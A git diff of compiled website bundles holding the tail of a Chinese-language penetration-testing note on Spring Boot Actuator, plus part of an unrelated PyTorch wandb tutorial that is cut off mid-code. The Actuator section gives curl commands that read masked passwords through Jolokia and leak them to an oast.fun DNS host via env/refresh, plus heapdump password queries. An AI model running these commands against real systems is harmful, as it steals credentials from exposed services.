bean\uff08\u5f53Jolokia\u5728\u7c7b\u8def\u5f84\u4e0a\u65f6\uff0c\u4e0d\u9002\u7528\u4e8eWebFlux\uff09\u3002\u9700\u8981\u4f9d\u8d56 jolokia-core"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"prometheus"}),(0,s.jsx)(e.td,{children:"\u4ee5Prometheus\u670d\u52a1\u5668\u53ef\u4ee5\u6293\u53d6\u7684\u683c\u5f0f\u516c\u5f00\u6307\u6807\u3002\u9700\u8981\u4f9d\u8d56 micrometer-registry-prometheus"})]})]})]}),"\n",(0,s.jsx)(e.h3,{id:"springboot-actuator\u4f7f\u7528\u53ca\u914d\u7f6e",children:"SpringBoot Actuator\u4f7f\u7528\u53ca\u914d\u7f6e"}),"\n",(0,s.jsx)(e.p,{children:"\u4e0a\u9762\u4ecb\u7ecd\u4e86Actuator\u4ee5\u53caEndpoint\uff0c\u63a5\u4e0b\u6765\u5c31\u5f00\u59cb\u4f7f\u7528\u5b83\uff0c\u53ea\u9700\u8981\u5f15\u5165\u4e0b\u9762\u542f\u52a8\u5668\u4f9d\u8d56\u5c31\u53ef\u4ee5\u4f7f\u7528Actuator\u4e86\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-xml",children:"\x3c!-- actuator --\x3e\n<dependency>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-starter-actuator</artifactId>\n</dependency>\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5728SpringBoot2.X\u4e2d\uff0cActuator \u9ed8\u8ba4\u53ea\u5f00\u653e health \u3002\u6211\u4eec\u5148\u4e0d\u505a\u4efb\u4f55\u914d\u7f6e\uff0c\u76f4\u63a5\u542f\u52a8SpringBoot\u9879\u76ee\uff0c\u7136\u540e\u5728\u6d4f\u89c8\u5668\u8f93\u5165\uff1a**",(0,s.jsx)(e.a,{href:"http://localhost:8080/actuator",children:"http://localhost:8080/actuator"}),"**\u67e5\u770b\u9ed8\u8ba4\u5f00\u653e\u7684\u7aef\u70b9\uff0c\u5982\u4e0b\u56fe\u6240\u793a"]}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645213.png",alt:"image-20240124005054866"})}),"\n",(0,s.jsx)(e.p,{children:"\u5982\u679c\u6211\u4eec\u9700\u8981\u66b4\u9732\u6240\u6709\u65ad\u70b9\u53ea\u80fd\u5728\u4e0b\u65b9\u8bbe\u7f6e"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-yml",children:"management:\n endpoints:\n web:\n base-path: /actuator\n exposure:\n include: *\n"})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645214.png",alt:"image-20240124005545874"})}),"\n",(0,s.jsx)(e.p,{children:"\u5f53\u7136\u4e5f\u53ef\u4ee5\u9488\u5bf9\u6027\u66b4\u9732"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-yaml",children:"management:\n endpoints:\n web:\n base-path: /actuator #\u914d\u7f6e\u7aef\u70b9\u8bbf\u95ee\u524d\u7f00\n exposure:\n include: '*' #\u66b4\u9732\u6240\u6709\u7aef\u70b9\n enabled-by-default: false #\u7981\u7528\u6240\u6709\u7aef\u70b9\n endpoint:\n info:\n enabled: true #\u4e0a\u9762\u5173\u95ed\u6240\u6709\u7aef\u70b9\u4e4b\u540e\uff0c\u53c8\u66b4\u9732\u6307\u5b9a\u7684\u7aef\u70b9\uff0c\u8fd9\u91cc\u66b4\u9732info\u7aef\u70b9\n"})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645216.png",alt:"image-20240124005723412"})}),"\n",(0,s.jsx)(e.h3,{id:"env",children:"ENV"}),"\n",(0,s.jsx)(e.p,{children:"\u901a\u8fc7 env \u53ef\u4ee5\u83b7\u53d6\u5230\u6240\u6709\u5173\u4e8e\u5f53\u524d SpringBoot \u5e94\u7528\u7a0b\u5e8f\u7684\u8fd0\u884c\u73af\u5883\u4fe1\u606f\uff0c\u5982\uff1a\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f\uff08systemProperties\uff09\u3001\u73af\u5883\u53d8\u91cf\u4fe1\u606f\u3001JDK \u7248\u672c\u53ca ClassPath \u4fe1\u606f\u3001\u5f53\u524d\u542f\u7528\u7684\u914d\u7f6e\u6587\u4ef6\uff08activeProfiles\uff09\u3001propertySources\u3001\u5e94\u7528\u7a0b\u5e8f\u914d\u7f6e\u4fe1\u606f\uff08applicationConfig\uff09\u7b49"}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645217.png",alt:"image-20240124010000032"})}),"\n",(0,s.jsx)(e.h4,{id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e00",children:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e00)"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u76ee\u6807\u7f51\u7ad9\u5b58\u5728 ",(0,s.jsx)(e.code,{children:"/jolokia"})," \u6216 ",(0,s.jsx)(e.code,{children:"/actuator/jolokia"})," \u63a5\u53e3"]}),"\n",(0,s.jsxs)(e.li,{children:["\u5b58\u5728",(0,s.jsx)(e.code,{children:"getProperty"}),"\u7684",(0,s.jsx)(e.code,{children:"mbean"})]}),"\n"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-yaml",children:"\x3c!-- https://mvnrepository.com/artifact/org.jolokia/jolokia-support-spring --\x3e\n <dependency>\n <groupId>org.jolokia</groupId>\n <artifactId>jolokia-support-spring</artifactId>\n <version>2.0.0</version>\n </dependency>\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5229\u7528 \u4fee\u6539 ",(0,s.jsx)(e.code,{children:"security.user.password"})," \u4e3a\u5bf9\u5e94\u7684\u6570\u636e\u5373\u53ef\u67e5\u770b"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:'curl -X POST \'http://localhost:8080/actuator/jolokia\' -H \'Content-Type: application/json\' --data \'{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}\' -v\n'})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645218.png",alt:"image-20240124014706709"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5e38\u7528\u7684",(0,s.jsx)(e.code,{children:"mbean"}),"\u6709"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-text",children:"org.springframework.boot:name=SpringApplication,type=Admin\norg.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager\n"})}),"\n",(0,s.jsx)(e.h4,{id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e8c",children:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e8c)"}),"\n",(0,s.jsx)(e.p,{children:"\u6761\u4ef6"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.code,{children:"management.endpoint.env.post.enabled=true"})}),"\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"refresh"}),"\u3001",(0,s.jsx)(e.code,{children:"env"}),"\u63a5\u53e3\u53ef\u8bbf\u95ee"]}),"\n",(0,s.jsxs)(e.li,{children:["\u5b58\u5728\u4f9d\u8d56 ",(0,s.jsx)(e.code,{children:"spring-boot-starter-actuator"}),"\u3001",(0,s.jsx)(e.code,{children:"spring-cloud-starter-netflix-eureka-client"})]}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u79cd\u65b9\u6cd5\u5b58\u5728\u5c40\u9650\u6027\u5c31\u662f\u53c2\u6570\u662f\u901a\u8fc7\u62fc\u63a5",(0,s.jsx)(e.code,{children:"url"})," \u4ee5",(0,s.jsx)(e.code,{children:"URL"})," \u5e26\u51fa\u6765\u7684\uff0c\u6240\u4ee5\u4e0d\u7b26\u5408",(0,s.jsx)(e.code,{children:"URL"}),"\u7684\u6570\u636e\u662f\u65e0\u6cd5\u5b8c\u6210\u5916\u5e26\u7684"]}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"${PWD}"})," \u5c31\u662f\u9700\u8981\u88ab\u5916\u5e26\u7684\u503c\uff0c",(0,s.jsx)(e.code,{children:"sxielvzhzqayslxhetklcq64byiulay79.oast.fun"})," dns\u5e73\u53f0\u7684\u5730\u5740\u5373\u53ef"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:'curl -X POST -H \'Content-Type: application/json\' --data \'{"name":"eureka.client.serviceUrl.defaultZone","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}\' \'http://127.0.0.1:8080/actuator/env\'\n'})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645219.png",alt:"image-20240125132240871"})}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:"# \u5237\u65b0\u914d\u7f6e\ncurl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'\n"})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645220.png",alt:"image-20240125132256414"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6700\u540e\u5728",(0,s.jsx)(e.code,{children:"dns"})," \u67e5\u770b\u5373\u53ef"]}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645221.png",alt:"image-20240125132324857"})}),"\n",(0,s.jsxs)(e.h4,{id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e09\u6682\u672a\u590d\u73b0",children:["\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e09)",(0,s.jsx)(e.del,{children:"\uff08\u6682\u672a\u590d\u73b0\uff09"})]}),"\n",(0,s.jsx)(e.p,{children:"\u6761\u4ef6"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.code,{children:"management.endpoint.env.post.enabled=true"})}),"\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"refresh"}),"\u3001",(0,s.jsx)(e.code,{children:"env"}),"\u63a5\u53e3\u53ef\u8bbf\u95ee"]}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e0e\u65b9\u6cd5\u4e8c\u76f8\u4f3c"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:'curl -X POST -H \'Content-Type: application/json\' --data \'{"name":"spring.cloud.bootstrap.location","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}\' \'http://127.0.0.1:8080/actuator/env\'\n'})}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:"# \u5237\u65b0\u914d\u7f6e\ncurl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'\n"})}),"\n",(0,s.jsxs)(e.h4,{id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u56db\u6682\u672a\u590d\u73b0",children:["\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u56db)",(0,s.jsx)(e.del,{children:"\uff08\u6682\u672a\u590d\u73b0\uff09"})]}),"\n",(0,s.jsx)(e.p,{children:"\u6761\u4ef6"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.code,{children:"heapdump"})}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u53c2\u8003 ",(0,s.jsx)(e.a,{href:"https://landgrey.me/blog/16/",children:"\u6587\u7ae0"})," \u65b9\u6cd5\uff0c\u4f7f\u7528 ",(0,s.jsx)(e.a,{href:"https://www.eclipse.org/mat/downloads.php",children:"Eclipse Memory Analyzer"})," \u5de5\u5177\u7684 ",(0,s.jsx)(e.strong,{children:"OQL"})," \u8bed\u53e5"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{children:'select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))\nselect * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u8f85\u52a9\u7528 ",(0,s.jsx)(e.code,{children:"password"})," \u7b49\u5173\u952e\u8bcd\u5feb\u901f\u8fc7\u6ee4\u5206\u6790\uff0c\u83b7\u5f97\u5bc6\u7801\u7b49\u76f8\u5173\u654f\u611f\u4fe1\u606f\u7684\u660e\u6587\u3002"]})]})}function h(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(a,{...n})}):a(n)}}}]); \ No newline at end of file diff --git a/assets/js/18da5132.4f2fd77c.js b/assets/js/18da5132.4f2fd77c.js new file mode 100644 index 0000000..acc5350 --- /dev/null +++ b/assets/js/18da5132.4f2fd77c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[708],{28453:(n,e,t)=>{t.d(e,{R:()=>d,x:()=>i});var a=t(96540);const s={},r=a.createContext(s);function d(n){const e=a.useContext(r);return a.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:d(n.components),a.createElement(r.Provider,{value:e},n.children)}},41941:(n,e,t)=>{t.d(e,{A:()=>a});const a=t.p+"assets/images/acc_wandb-f7d79bc4f8a19288783a8fed7e6ac001.png"},80910:(n,e,t)=>{t.d(e,{A:()=>a});const a=t.p+"assets/images/wandb_config-072adbf91f5f358b9124cfc382cf68b3.png"},85471:(n,e,t)=>{t.d(e,{A:()=>a});const a=t.p+"assets/images/wandb_api_keys-655593f49a7a94e044af754faab2009f.png"},85817:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>o,contentTitle:()=>i,default:()=>h,frontMatter:()=>d,metadata:()=>a,toc:()=>c});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"},"next":{"title":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}}');var s=t(74848),r=t(28453);const d={},i="7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md",o={},c=[{value:"7.4.1 wandb\u7684\u5b89\u88c5",id:"741-wandb\u7684\u5b89\u88c5",level:2},{value:"7.4.2 wandb\u7684\u4f7f\u7528",id:"742-wandb\u7684\u4f7f\u7528",level:2},{value:"7.4.3 demo\u6f14\u793a",id:"743-demo\u6f14\u793a",level:2}];function l(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"74-\u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0bmd",children:"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"74-\u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b",children:"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,s.jsx)(e.p,{children:"\u5728\u4e0a\u4e00\u8282\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u4e86Tensorboard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u4f46\u662fTensorboard\u5bf9\u6570\u636e\u7684\u4fdd\u5b58\u4ec5\u9650\u4e8e\u672c\u5730\uff0c\u4e5f\u5f88\u96be\u5206\u6790\u8d85\u53c2\u6570\u4e0d\u540c\u5bf9\u5b9e\u9a8c\u7684\u5f71\u54cd\u3002wandb\u7684\u51fa\u73b0\u5f88\u597d\u7684\u89e3\u51b3\u4e86\u8fd9\u4e9b\u95ee\u9898\uff0c\u56e0\u6b64\u5728\u672c\u7ae0\u8282\u4e2d\uff0c\u6211\u4eec\u5c06\u5bf9wandb\u8fdb\u884c\u7b80\u8981\u4ecb\u7ecd\u3002\nwandb\u662fWeights & Biases\u7684\u7f29\u5199\uff0c\u5b83\u80fd\u591f\u81ea\u52a8\u8bb0\u5f55\u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u7684\u8d85\u53c2\u6570\u548c\u8f93\u51fa\u6307\u6807\uff0c\u7136\u540e\u53ef\u89c6\u5316\u548c\u6bd4\u8f83\u7ed3\u679c\uff0c\u5e76\u5feb\u901f\u4e0e\u5176\u4ed6\u4eba\u5171\u4eab\u7ed3\u679c\u3002\u76ee\u524d\u5b83\u80fd\u591f\u548cJupyter\u3001TensorFlow\u3001Pytorch\u3001Keras\u3001Scikit\u3001fast.ai\u3001LightGBM\u3001XGBoost\u4e00\u8d77\u7ed3\u5408\u4f7f\u7528\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"wandb\u7684\u5b89\u88c5"}),"\n",(0,s.jsx)(e.li,{children:"wandb\u7684\u4f7f\u7528"}),"\n",(0,s.jsx)(e.li,{children:"demo\u6f14\u793a"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"741-wandb\u7684\u5b89\u88c5",children:"7.4.1 wandb\u7684\u5b89\u88c5"}),"\n",(0,s.jsx)(e.p,{children:"wandb\u7684\u5b89\u88c5\u975e\u5e38\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528pip\u5b89\u88c5\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"pip install wandb\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5b89\u88c5\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u9700\u8981\u5728",(0,s.jsx)(e.a,{href:"https://wandb.ai/",children:"\u5b98\u7f51"}),"\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u5e76\u590d\u5236\u4e0b\u81ea\u5df1\u7684API keys\uff0c\u7136\u540e\u5728\u672c\u5730\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u767b\u5f55\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"wandb login\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u65f6\uff0c\u6211\u4eec\u4f1a\u770b\u5230\u4e0b\u9762\u7684\u754c\u9762\uff0c\u53ea\u9700\u8981\u7c98\u8d34\u4f60\u7684API keys\u5373\u53ef\u3002\n",(0,s.jsx)(e.img,{src:t(85471).A+"",width:"1248",height:"75"})]}),"\n",(0,s.jsx)(e.h2,{id:"742-wandb\u7684\u4f7f\u7528",children:"7.4.2 wandb\u7684\u4f7f\u7528"}),"\n",(0,s.jsx)(e.p,{children:"wandb\u7684\u4f7f\u7528\u4e5f\u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u4ee3\u7801\u4e2d\u6dfb\u52a0\u51e0\u884c\u4ee3\u7801\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"import wandb\nwandb.init(project='my-project', entity='my-name')\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u91cc\u7684project\u548centity\u662f\u4f60\u5728wandb\u4e0a\u521b\u5efa\u7684\u9879\u76ee\u540d\u79f0\u548c\u7528\u6237\u540d\uff0c\u5982\u679c\u4f60\u8fd8\u6ca1\u6709\u521b\u5efa\u9879\u76ee\uff0c\u53ef\u4ee5\u53c2\u8003",(0,s.jsx)(e.a,{href:"https://docs.wandb.ai/quickstart",children:"\u5b98\u65b9\u6587\u6863"}),"\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"743-demo\u6f14\u793a",children:"7.4.3 demo\u6f14\u793a"}),"\n",(0,s.jsx)(e.p,{children:"\u4e0b\u9762\u6211\u4eec\u4f7f\u7528\u4e00\u4e2aCIFAR10\u7684\u56fe\u50cf\u5206\u7c7bdemo\u6765\u6f14\u793awandb\u7684\u4f7f\u7528\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"\nimport random # to set the python random seed\nimport numpy # to set the numpy random seed\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom torch.utils.data import DataLoader\nfrom torchvision.models import resnet18\nimport warnings\nwarnings.filterwarnings('ignore')\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4f7f\u7528wandb\u7684\u7b2c\u4e00\u6b65\u662f\u521d\u59cb\u5316wandb\uff0c\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528wandb.init()\u51fd\u6570\u6765\u521d\u59cb\u5316wandb\uff0c\u5176\u4e2dproject\u662f\u4f60\u5728wandb\u4e0a\u521b\u5efa\u7684\u9879\u76ee\u540d\u79f0\uff0cname\u662f\u4f60\u7684\u5b9e\u9a8c\u540d\u79f0\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'# \u521d\u59cb\u5316wandb\nimport wandb\nwandb.init(project="thorough-pytorch",\n name="wandb_demo",)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u4f7f\u7528wandb\u7684\u7b2c\u4e8c\u6b65\u662f\u8bbe\u7f6e\u8d85\u53c2\u6570\uff0c\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528wandb.config\u6765\u8bbe\u7f6e\u8d85\u53c2\u6570\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728wandb\u7684\u754c\u9762\u4e0a\u770b\u5230\u8d85\u53c2\u6570\u7684\u53d8\u5316\u3002wandb.config\u7684\u4f7f\u7528\u65b9\u6cd5\u548c\u5b57\u5178\u7c7b\u4f3c\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528config.key\u7684\u65b9\u5f0f\u6765\u8bbe\u7f6e\u8d85\u53c2\u6570\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"# \u8d85\u53c2\u6570\u8bbe\u7f6e\nconfig = wandb.config # config\u7684\u521d\u59cb\u5316\nconfig.batch_size = 64 \nconfig.test_batch_size = 10 \nconfig.epochs = 5 \nconfig.lr = 0.01 \nconfig.momentum = 0.1 \nconfig.use_cuda = True \nconfig.seed = 2043 \nconfig.log_interval = 10 \n\n# \u8bbe\u7f6e\u968f\u673a\u6570\ndef set_seed(seed):\n random.seed(config.seed) \n torch.manual_seed(config.seed) \n numpy.random.seed(config.seed) \n\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u7b2c\u4e09\u6b65\u662f\u6784\u5efa\u8bad\u7ec3\u548c\u6d4b\u8bd5\u7684pipeline\uff0c\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528pytorch\u7684CIFAR10\u6570\u636e\u96c6\u548cresnet18\u6765\u6784\u5efa\u8bad\u7ec3\u548c\u6d4b\u8bd5\u7684pipeline\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"def train(model, device, train_loader, optimizer):\n model.train()\n\n for batch_id, (data, target) in enumerate(train_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero_grad()\n output = model(data)\n criterion = nn.CrossEntropyLoss()\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n\n# wandb.log\u7528\u6765\u8bb0\u5f55\u4e00\u4e9b\u65e5\u5fd7(accuracy,loss and epoch), \u4fbf\u4e8e\u968f\u65f6\u67e5\u770b\u7f51\u8def\u7684\u6027\u80fd\ndef test(model, device, test_loader, classes):\n model.eval()\n test_loss = 0\n correct = 0\n example_images = []\n\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n criterion = nn.CrossEntropyLoss()\n test_loss += criterion(output, target).item()\n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n example_images.append(wandb.Image(\n data[0], caption=\"Pred:{} 